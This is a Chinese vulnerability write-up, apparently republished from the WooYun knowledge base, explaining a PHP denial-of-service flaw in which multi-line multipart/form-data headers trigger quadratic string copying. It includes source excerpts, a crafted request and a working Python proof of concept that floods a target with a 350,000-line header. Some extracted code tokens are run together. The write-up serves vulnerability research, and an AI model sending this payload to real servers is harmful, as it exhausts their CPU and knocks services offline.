

PHP multipart/form-data 远程DOS漏洞 | WooYun知识库
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

PHP multipart/form-data 远程DOS漏洞
作者:LiuShusheng_0_
0x00 摘要
PHP解析multipart/form-datahttp
请求的body part请求头时,重复拷贝字符串导致DOS。远程攻击者通过发送恶意构造的multipart/form-data
请求,导致服务器CPU资源被耗尽,从而远程DOS服务器。
影响范围:
PHP所有版本
0x01 漏洞入口
PHP源码中main/ rfc1867.c
负责解析multipart/form-data
协议,DOS漏洞出现在main/rfc46675pxultipart_buffer_headers
函数。
在详细分析漏洞函数前,先分析进入漏洞函数的路径。PHP解析multipart/form-data
http请求体的入口函数在SAPI_POST_HANDLER_FUNC
(rfc1867.c中的函数),代码如下。
#!c
/* Get the boundary */
boundary= strstr(content_type_dup, "boundary");
if(!boundary) {
intcontent_type_len = strlen(content_type_dup);
char*content_type_lcase = estrndup(content_type_dup, content_type_len);
php_strtolower(content_type_lcase,content_type_len);
boundary= strstr(content_type_lcase, "boundary");
if(boundary) {
boundary= content_type_dup + (boundary - content_type_lcase);
}
efree(content_type_lcase);
}
if(!boundary || !(boundary = strchr(boundary, '='))) {
sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data");
return;
}
boundary++;
boundary_len= strlen(boundary);
…
…
while(!multipart_buffer_eof(mbuff TSRMLS_CC))
{
charbuff[FILLUNIT];
char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL;
size_tblen = 0, wlen = 0;
off_toffset;
zend_llist_clean(&header);
if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) {
gotofileupload_done;
}
SAPI_POST_HANDLER_FUNC函数首先解析请求的boundary,
0x02 漏洞函数multipart_buffer_headers执行逻辑
进入漏洞函数,本段先分析漏洞函数的执行逻辑,下一段根据函数执行逻辑详细分析漏洞的原理。multipart_buffer_headers
函数源码如下:
#!c
/* parse headers */
static intmultipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC)
{
char*line;
mime_header_entryprev_entry = {0}, entry;
intprev_len, cur_len;
/*didn't find boundary, abort */
if(!find_boundary(self, self->boundary TSRMLS_CC)) {
return0;
}
/*get lines of text, or CRLF_CRLF */
while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' )
{
/*add header to table */
char*key = line;
char*value = NULL;
if(php_rfc1867_encoding_translation(TSRMLS_C)) {
self->input_encoding= zend_multibyte_encoding_detector(line, strlen(line), self->detect_order,self->detect_order_size TSRMLS_CC);
}
/*space in the beginning means same header */
if(!isspace(line[0])) {
value= strchr(line, ':');
}
if(value) {
*value= 0;
do{ value++; } while(isspace(*value));
entry.value= estrdup(value);
entry.key= estrdup(key);
}else if (zend_llist_count(header)) { /* If no ':' on the line, add to previousline */
prev_len= strlen(prev_entry.value);
cur_len= strlen(line);
entry.value= emalloc(prev_len + cur_len + 1);
memcpy(entry.value,prev_entry.value, prev_len);
memcpy(entry.value+ prev_len, line, cur_len);
entry.value[cur_len+ prev_len] = '\0';
entry.key= estrdup(prev_entry.key);
zend_llist_remove_tail(header);
}else {
continue;
}
zend_llist_add_element(header,&entry);
prev_entry= entry;
}
return1;
}
multipart_buffer_headers
函数首先找boundary,如果找到boundary就执行以下代码,逐行读取请求的输入以解析body port header:
#!c
while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' ) { … }
当使用get_line读入一行字符,如果该行第一个字符line[0]不是空白字符, 查找line是否存在':'。
如果line存在字符':'
:
value指向':'
所在的内存地址。这时if(value)条件成立,成功解析到(header,value)对entry。调用zend_llist_add_element(header, &entry)
存储,并使用prev_entry记录当前解析到的header,用于解析下一行。
否则,line不存在字符':'
:
认为这一行的内容是上一行解析到header对应value的值,因此进行合并。合并操作执行以下代码。
#!c
prev_len= strlen(prev_entry.value);
cur_len= strlen(line);
entry.value= emalloc(prev_len + cur_len + 1); //为合并value重新分片内存
memcpy(entry.value,prev_entry.value, prev_len); //拷贝上一行解析到header对应value
memcpy(entry.value+ prev_len, line, cur_len); //把当前行作为上一行解析到header的value值,并拷贝到上一行value值得后面。
entry.value[cur_len+ prev_len] = '\0';
entry.key= estrdup(prev_entry.key);
zend_llist_remove_tail(header);
首先,为了合并value重新分配内存,接着拷贝上一行解析到的value值到新分配的内容,然后把当前行的字符串作为上一行解析到header的value值,并拷贝到value值得后面。最后调用zend_llist_remove_tail(header)
删除上一行的记录。执行完后获得了新的entry,调用zend_llist_add_element(header,&entry)
记录得到的header名值对(header,value)。
0x03 漏洞原理
在multipart_buffer_headers
函数解析header对应value时,value值存在n行。每行的字符串以空白符开头或不存字符':'
,都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块。该代码块进行1次内存分配,2次内存拷贝,1次内存释放。当value值越来越长,将消耗大量的cpu时间。如果以拷贝一个字节为时间复杂度单位,value的长度为m,时间复杂度为m*m.
#!c
prev_len= strlen(prev_entry.value);
cur_len= strlen(line);
entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存
memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝
memcpy(entry.value+ prev_len, line, cur_len); //1次拷贝
entry.value[cur_len+ prev_len] = '\0';
entry.key= estrdup(prev_entry.key);
zend_llist_remove_tail(header);//1次内存释放
0x04 利用
构造像以下恶意的http请求,当存在350000行a\n
时,在我的测试环境中,一个http请求将消耗10s的cpu时间。每隔若干秒,同时并发多个请求,将导致server端cpu资源长期耗尽,从而到达DOS。总的来说,利用方式和Hash Collision DOS一样。
------WebKitFormBoundarypE33TmSNWwsMphqz
Content-Disposition:form-data; name="file"; filename="s
a
a
a
…
…
…
a"
Content-Type:application/octet-stream
why is it?
------WebKitFormBoundarypE33TmSNWwsMphqz
0x05 POC
#!python
'''
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: [email protected]
'''
import sys
import urllib,urllib2
import datetime
from optparse import OptionParser
def http_proxy(proxy_url):
proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
null_proxy_handler = urllib2.ProxyHandler({})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
#end http_proxy
def check_php_multipartform_dos(url,post_body,headers):
req = urllib2.Request(url)
for key in headers.keys():
req.add_header(key,headers[key])
starttime = datetime.datetime.now();
fd = urllib2.urlopen(req,post_body)
html = fd.read()
endtime = datetime.datetime.now()
usetime=(endtime - starttime).seconds
if(usetime > 5):
result = url+" is vulnerable";
else:
if(usetime > 3):
result = "need to check normal respond time"
return [result,usetime]
#end
def main():
#http_proxy("http://127.0.0.1:8089")
parser = OptionParser()
parser.add_option("-t", "--target", action="store",
dest="target",
default=False,
type="string",
help="test target")
(options, args) = parser.parse_args()
if(options.target):
target = options.target
else:
return;
Num=350000
headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
'Accept-Encoding':'gzip, deflate',
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
payload=""
for i in range(0,Num):
payload = payload + "a\n"
body = body + payload;
body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
print "starting...";
respond=check_php_multipartform_dos(target,body,headers)
print "Result : "
print respond[0]
print "Respond time : "+str(respond[1]) + " seconds";
if __name__=="__main__":
main()
Recommend
-
16
Cisco ASA Software远程认证绕过漏洞 百度安全攻防实验室
-
18
WordPress 3.5.1远程代码执行EXP 瞌睡龙
-
14
远程入侵原装乘用车(上) 唐朝实验室
-
12
远程备份数据库和文件的方法 mickey ·
-
13
在HTTP服务应用中进行数据提交一般都使用application/json,application/x-www-form-urlencoded和multipart/form-data这几种内容格式。这几种格式的处理复杂度处理...
-
7
1. Form简介 Form
-
11
Multipart/form-data submit through javascript in Play Framework Reading Time: 2 minutesNormally when we submit any multi-p...
-
5
HTTP POST (multipart/form-data) on Android May 24, 2012 Since the c...
-
7
Mariajose Martinez October 24, 2022 6 minute re...
-
9
Golang multipart/form-data File Upload · GitHub Instantly share code, notes, and snippet...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK